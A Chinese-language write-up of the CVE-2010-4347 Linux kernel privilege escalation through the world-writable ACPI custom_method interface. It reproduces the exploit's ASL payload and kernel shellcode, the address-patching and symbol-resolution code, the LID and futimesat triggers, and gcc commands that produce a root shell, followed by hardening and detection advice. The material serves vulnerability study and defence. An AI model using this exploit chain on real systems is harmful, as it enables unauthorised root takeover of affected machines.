- 网络安全
- 操作系统
【免费下载链接】linux-kernel-exploits
linux-kernel-exploits Linux平台提权漏洞集合
导读
CVE-2010-4347 是 Linux 内核 ACPI 子系统custom_method调试接口权限配置错误导致的本地提权漏洞:从 2.6.33 开始,/sys/kernel/debug/acpi/custom_method控制文件以**世界可写(world-writable)**权限暴露,任何本地用户都可以向 ACPI 解释器注入自定义 AML 方法,进而改写内核代码段、完成提权。本仓库 2010/CVE-2010-4347 收录了由 Jon Oberheide 编写的 64 位利用程序american-sign-language(源码见 15774.c),它通过覆写sys_futimesat的代码、挂钩commit_creds/prepare_kernel_cred组合拳来获得 root shell。读完本文,你将掌握该漏洞的成因、利用链的每一步原理、符号解析与载荷填充机制,以及编译运行和加固排查的完整方法。
警告:本文内容仅用于安全研究、CTF、漏洞复现与防御加固等授权场景,请勿在未获授权的系统上运行利用代码。仓库 README.md 亦声明"请勿用于非法的用途,否则造成的严重后果与本项目无关"。
漏洞概述
基本信息
| 项目 | 内容 |
|---|---|
| CVE 编号 | CVE-2010-4347 |
| 漏洞类型 | 本地权限提升(Local Privilege Escalation) |
| 漏洞位置 | ACPI 子系统/sys/kernel/debug/acpi/custom_method调试接口 |
| 引入版本 | Linux 2.6.33(控制文件以世界可写权限创建) |
| 修复版本 | 2.6.37-rc2 之前(含 2.6.37-rc2 的修复) |
| 利用程序 | american-sign-language(15774.c) |
| 架构限制 | 仅 64 位 |
源码头部注释明确指出该漏洞的本质:
This custom_method file allows to inject custom ACPI methods into the ACPI interpreter tables. This control file was introduced with world writeable permissions in Linux Kernel 2.6.33.
也就是说,问题不在于 ACPI 调试接口本身存在逻辑错误,而在于它被以过宽的权限暴露给普通用户——任何非特权进程都能写入任意 AML 字节码,注入到内核态的 ACPI 解释器中执行。
受影响内核版本
关联文档列出受影响的内核版本为 2.6.0 至 2.6.36(即 2.6.37-rc2 之前的所有 2.6.x 版本):
2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36仓库根目录 README.md 的漏洞清单中同样记录了 CVE-2010-4347,标注利用程序名为 american-sign-language,受影响内核为 2.6.0 ~ 2.6.36,与关联文档一致。
漏洞原理:向内核注入自定义 AML
ACPI 与 AML 基础
ACPI(高级配置与电源管理接口)依赖**AML(ACPI Machine Language)**字节码来描述平台硬件行为。AML 运行在内核态的 ACPI 解释器中,通常只能来自 BIOS 提供的 DSDT/SSDT 固件表。而custom_method调试接口打破了这个约束:它允许把用户提供的 AML 直接加载进 ACPI 解释器的表集合中,这在设计上是一个面向内核开发者的调试后门。
世界可写接口
利用程序在运行时会先检查目标是否具备漏洞前提,相关检查代码位于 15774.c:
#define CUSTOM_METHOD "/sys/kernel/debug/acpi/custom_method" ret = stat(CUSTOM_METHOD, &sb); if (ret < 0) { printf("[-] custom_method not found, kernel is not vulnerable!\n"); exit(1); } if (!(sb.st_mode & S_IWOTH)) { printf("[-] custom_method not world-writable, kernel is not vulnerable!\n"); exit(1); }检查逻辑分两步:
- 文件是否存在:
/sys/kernel/debug/acpi/custom_method必须存在,否则说明内核未编译 ACPI 调试支持或接口被移除; - 是否世界可写:校验
sb.st_mode & S_IWOTH(其他用户写权限位)。只有该位被置位,普通用户才能fopen(CUSTOM_METHOD, "w")写入载荷。
为什么不直接写内核内存
内核代码段和关键数据结构通常被页保护(写保护)覆盖,普通进程无法直接修改。american-sign-language 的思路是"借壳":利用 ACPI 解释器在内核上下文执行 AML 的能力,在 AML 中声明一块指向目标物理地址的OperationRegion,再通过 AML 的Store指令把内嵌的 x86-64 机器码逐字节写入该区域,从而绕过常规写保护,修改任意内核内存。
利用链拆解:从 ASL 到 root shell
ASL 载荷的设计
源码注释中给出了载荷对应的 ASL 源码(15774.c),核心结构如下:
DefinitionBlock ("lid.aml", "SSDT", 2, "", "", 0x00001001) { Method (\_SB.LID._LID, 0, NotSerialized) { OperationRegion (KMEM, SystemMemory, PHYADDR, 0x392) Field(KMEM, AnyAcc, NoLock, Preserve) { HACK, 0x392 } Store (Buffer () { 0x55, 0x48, 0x89, 0xe5, 0x53, 0x48, 0x83, 0xec, 0x08, 0x48, 0xc7, 0xc3, 0x24, 0x24, 0x24, 0x24, 0x48, 0xc7, 0xc0, 0x24, 0x24, 0x24, 0x24, 0xbf, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xc7, 0xff, 0xd3, 0x48, 0xc7, 0xc0, 0xb7, 0xff, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x08, 0x5b, 0xc9, 0xc3 }, HACK) Return (One) } }各要素说明:
DefinitionBlock:声明一个 SSDT(Secondary System Description Table),表头校验和与长度由预编译好的 AML 保证;Method (\_SB.LID._LID, 0, NotSerialized):覆写 ACPI 标准方法\_SB.LID._LID。该方法是笔记本上LID(屏幕盖)状态查询接口,open/closed状态即由此方法返回;OperationRegion (KMEM, SystemMemory, PHYADDR, 0x392):把物理内存地址PHYADDR起、长度0x392字节的区域声明为系统内存操作区;Field+Store:通过Store (Buffer {...}, HACK)把 48 字节的内核 shellcode 写入该物理地址。
源码注释还专门提醒:Feel free to iasl -d this if you don't trust me!——即可以用 ACPI 反编译器iasl -d对内置的 AML 载荷反编译验证,体现了载荷的公开可审计性。
嵌入的 x86-64 内核 shellcode
被写入的 48 字节机器码是精心构造的 x86-64 内核态 shellcode,逐条解码如下:
55 push rbp 48 89 e5 mov rbp, rsp 53 push rbx 48 83 ec 08 sub rsp, 0x8 48 c7 c3 24 24 24 24 mov rbx, 0x24242424 ; <- 运行时填入 commit_creds 地址 48 c7 c0 24 24 24 24 mov rax, 0x24242424 ; <- 运行时填入 prepare_kernel_cred 地址 bf 00 00 00 00 mov edi, 0 ; arg = NULL(取 init 进程的 cred) ff d0 call rax ; prepare_kernel_cred(0) 48 89 c7 mov rdi, rax ; 返回值作为 commit_creds 参数 ff d3 call rbx ; commit_creds(cred) 48 c7 c0 b7 ff ff ff mov rax, -0x49 ; 返回值设为 -EDOTDOT(89) 48 83 c4 08 add rsp, 0x8 5b pop rbx c9 leave c3 ret这段代码实现了经典的commit_creds(prepare_kernel_cred(0))提权路径:以NULL为参数调用prepare_kernel_cred获取一份 init 进程的凭据结构,再调用commit_creds将其提交为当前进程凭据,使进程的 uid/gid 变为 0。最后把返回值设为-EDOTDOT(89),用于让调用者识别 shellcode 已被成功执行。
覆写目标:sys_futimesat
载荷中两个关键调用地址分别存储在偏移 63 与 101/108 处(见 15774.c):
sys_futimesat &= ~0xffffffff80000000; memcpy(&payload[63], &sys_futimesat, 4); memcpy(&payload[101], &commit_creds, 4); memcpy(&payload[108], &prepare_kernel_cred, 4);payload[63]:写入sys_futimesat的低 32 位地址,对应 shellcode 中mov rbx/mov rax处的0x24242424占位符(其实是被覆写函数入口的push rbp位置所在,即被注入的物理地址就是sys_futimesat所在页);payload[101]:写入commit_creds地址(shellcode 中mov rbx的占位符);payload[108]:写入prepare_kernel_cred地址(shellcode 中mov rax的占位符)。
这里sys_futimesat &= ~0xffffffff80000000的作用是把高 32 位清零,只保留低 32 位地址——因为OperationRegion使用 32 位物理地址字段描述目标区域(载荷中的 AML 常量0x0ce0611701即编码了物理地址与区域属性),这在大多数 64 位内核中(内核映射在低物理内存范围)是可行的。
为什么选择sys_futimesat作为覆写对象?原因有三:
- 存在性:它是 2.6.x 全系列存在的稳定系统调用,符号在
/proc/kallsyms中必然可解析; - 可达性:普通用户可通过
futimesat(0, "/tmp", NULL)轻易调用它,触发被注入的 shellcode; - 可观测性:
futimesat的正常返回路径中,内核会校验传入的时间戳参数,当参数为NULL时会返回-EDOTDOT(fs/utimes.c中的既有行为)。注入的 shellcode 特意把返回值固定为-EDOTDOT,于是利用程序可以据此判断 shellcode 是否执行成功(见下文"触发与验证")。
从源码结构可以推断,这是一种"一次性注入 + 永久挂钩"的设计:一旦sys_futimesat入口被覆写,之后每次调用该系统调用都会先执行提权 shellcode,再按原逻辑返回-EDOTDOT。这使得触发判断非常可靠。
触发路径:LID 设备
载荷注入后并不会立即执行。ACPI 方法只有在被查询时才会被解释器调用,因此利用程序通过读取/proc/acpi/button/lid/LID/state来触发\_SB.LID._LID方法:
#define HEY_ITS_A_LID "/proc/acpi/button/lid/LID/state" ret = stat(HEY_ITS_A_LID, &sb); if (ret < 0) { printf("[-] ACPI LID device not found, but kernel is still vulnerable!\n"); exit(1); }随后:
fp = fopen(HEY_ITS_A_LID, "r"); fread(&buf, 1, sizeof(buf), fp); fclose(fp);读取该 procfs 文件会触发 ACPI 子系统查询\_SB.LID._LID方法,而该方法已被替换为注入版本,Store指令随之把 shellcode 写入sys_futimesat所在物理页。这就是注释中 "poisoning ACPI tables via custom_method" 与 "triggering ACPI payload via LID device" 两步的实质。
需要注意的是,这一步对硬件环境有硬性要求:目标必须是存在 ACPI LID 设备(典型如笔记本)的系统。若检查失败,程序会输出 "ACPI LID device not found, but kernel is still vulnerable!" 后退出——即内核虽存在漏洞,但当前环境缺少触发载体。
符号解析机制
利用程序启动时首先通过get_symbol()解析三个关键内核符号(15774.c):sys_futimesat、prepare_kernel_cred、commit_creds。get_symbol的实现(15774.c)给出了一个多级回退的符号解析方案:
/proc/kallsyms(首选):逐行fscanf解析地址 类型 符号名三元组;对于旧式内核(/proc/ksyms)则解析地址 符号名二元组,并处理_O/、_S.段前缀与_smp_后缀的剥离(针对 SMP 内核的旧符号命名);/boot/System.map-$(uname -r)(回退):当 procfs 接口不可用时,根据uname得到的发行版内核版本号拼出对应 System.map 路径读取。若内核版本不以2.6开头,则强制使用旧式解析格式。
三个符号中任一解析失败,程序都会打印对应错误并退出:
[-] sys_futimesat symbol not found, aborting! [-] prepare_kernel_cred symbol not found, aborting! [-] commit_creds symbol not found, aborting!这说明该利用高度依赖目标内核符号的可读性。在内核开启kptr_restrict或CONFIG_KALLSYMS未启用/受限的环境下,/proc/kallsyms中的地址会被置零,利用会失败。
编译与运行
编译
按关联文档的 Usage 说明,利用程序可直接用 gcc 编译:
$ gcc american-sign-language.c -o american-sign-language $ ./american-sign-language关联文档中的文件名american-sign-language.c对应本仓库实际源码文件 15774.c(exploit-db 编号 15774)。编译命令可相应调整为:
$ gcc 15774.c -o american-sign-language $ ./american-sign-language该程序无外部依赖(仅使用标准库与 syscall),在 64 位 Linux 上可直接编译运行。
成功运行输出
源码头部注释给出了成功利用的完整输出流程(15774.c):
$ ./american-sign-language [+] resolving required symbols... [+] checking for world-writable custom_method... [+] checking for an ACPI LID device... [+] poisoning ACPI tables via custom_method... [+] triggering ACPI payload via LID device... [+] triggering exploit via futimesat... [+] launching root shell! # id uid=0(root) gid=0(root) groups=0(root)程序在main()中的执行顺序与之一一对应(15774.c):解析符号 → 检查custom_method存在性与权限 → 检查 LID 设备 → 写入载荷 → 读取 LID state 触发注入 → 调用futimesat触发 shellcode → 校验提权结果 →execl("/bin/sh", "/bin/sh", NULL)弹出 root shell。
触发与验证逻辑
futimesat触发段是关键的自校验环节(15774.c):
ret = futimesat(0, "/tmp", NULL); if (ret != -1 || errno != EDOTDOT) { printf("[-] unexpected futimesat errno, exploit failed!\n"); exit(1); } if (getuid() != 0) { printf("[-] privileges not escalated, exploit failed!\n"); exit(1); }双重校验逻辑:
- 调用
futimesat(0, "/tmp", NULL),期望返回-1且errno == EDOTDOT(89)。这正是被注入 shellcode 刻意制造的返回值——它模拟了未注入时该调用的自然失败路径,因此校验通过即证明sys_futimesat已被覆写并执行了 shellcode; - 再检查
getuid() != 0,从用户态直接确认当前进程凭据已被提升为 root。
两步都通过后才进入execl("/bin/sh", ...)启动交互式 root shell。
限制条件与前置要求
源码注释(15774.c)明确列出了利用的已知限制:
- 仅 64 位:程序在
main()中通过if (sizeof(sys_futimesat) != 8)显式检查指针宽度,非 64 位环境会输出 "payload is 64-bit only, but kernel is still vulnerable!" 并退出; - 依赖 ACPI LID 设备:典型场景是笔记本。无 LID 设备的环境无法触发注入(程序会提示内核仍然存在漏洞但环境不可用);
- 依赖符号可读性:需要能从
/proc/kallsyms(或回退到/boot/System.map-<release>)解析出三个内核符号地址; - 依赖
custom_method接口:需要内核编译了 ACPI 调试支持且debugfs已挂载。
同时,从代码结构可以推断以下环境前提:/sys/kernel/debug/acpi/custom_method需已挂载的 debugfs(通常挂载于/sys/kernel/debug);/proc/acpi/button/lid/LID/state需存在对应 ACPI 设备节点。
防御与排查建议
针对 CVE-2010-4347,可采用的加固与检测手段包括:
- 升级内核:升级至 2.6.37-rc2 及之后的版本。该漏洞的修复本质是收紧
custom_method文件的权限(移除世界可写位),因此任何已修复内核都不再满足利用的前置检查; - 检查文件权限:作为管理员,可人工核验
ls -l /sys/kernel/debug/acpi/custom_method, 若其他用户(others)具有写权限(-rw-rw-rw-形态),则系统处于可利用状态; - 限制 debugfs 暴露面:生产环境不挂载 debugfs 或限制其访问(如通过 mount 选项与 LSM/权限策略收紧),从根上消除
custom_method的可用性; - 启用符号隐藏:开启
kptr_restrict或限制/proc/kallsyms对普通用户的可见性,可显著提高利用难度(地址无法解析则get_symbol直接失败); - 监控可疑行为:关注以下异常信号——普通用户进程对
/sys/kernel/debug/acpi/custom_method的写入、对/proc/acpi/button/lid/LID/state的非常规高频读取、futimesat(0, "/tmp", NULL)配合errno == EDOTDOT的调用模式,以及短暂的uid=0shell 进程产生。
参考与延伸
- 关联文档 2010/CVE-2010-4347/README.md:包含漏洞引用、受影响内核清单与用法;
- 利用源码 2010/CVE-2010-4347/15774.c:完整的 64 位提权实现,含 ASL 载荷与符号解析逻辑;
- 仓库根目录 README.md:记录了 CVE-2010-4347 在漏洞清单中的条目(american-sign-language,2.6.0 ~ 2.6.36);
- 仓库中还收录了大量同年代 Linux 提权利用,如 CVE-2010-3301(ptrace_kmod2)、CVE-2010-4258(full-nelson)等,可作为本地提权研究的横向对比素材。
CVE-2010-4347 是 ACPI 调试接口权限失控的典型样本:一个面向内核开发者的调试后门因权限配置失误,成为攻击者写入任意内核内存的通道。american-sign-language 巧妙地把 AML 的OperationRegion/Store当作"物理内存写入原语",再以commit_creds(prepare_kernel_cred(0))完成凭据替换,是一份结构清晰、可审计性极佳的历史利用样本,对理解 ACPI 内部机制与内核提权链路都很有价值。
- 网络安全
- 操作系统
【免费下载链接】linux-kernel-exploits
linux-kernel-exploits Linux平台提权漏洞集合
相关推荐
Linux 内核 CVE-2010-3301 本地提权利用(ptrace_kmod2)深度剖析:x86_64 IA32 系统调用模拟层攻击
Linux 内核 CVE 2010 3301 本地提权利用(ptrace_kmod2)深度剖析:x86_64 IA32 系统调用模拟层攻击 CVE 2010 3
网络安全操作系统CVE-2010-2959 深入解析:Linux CAN BCM 子系统整数溢出提权漏洞与利用分析
CVE 2010 2959 深入解析:Linux CAN BCM 子系统整数溢出提权漏洞与利用分析 本文基于 linux kernel exploits 仓库中
网络安全操作系统linux-kernel-exploits 仓库实战:CVE-2010-1146 ReiserFS xattr 权限提升利用全解析
linux kernel exploits 仓库实战:CVE 2010 1146 ReiserFS xattr 权限提升利用全解析 CVE 2010 1146
网络安全操作系统
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考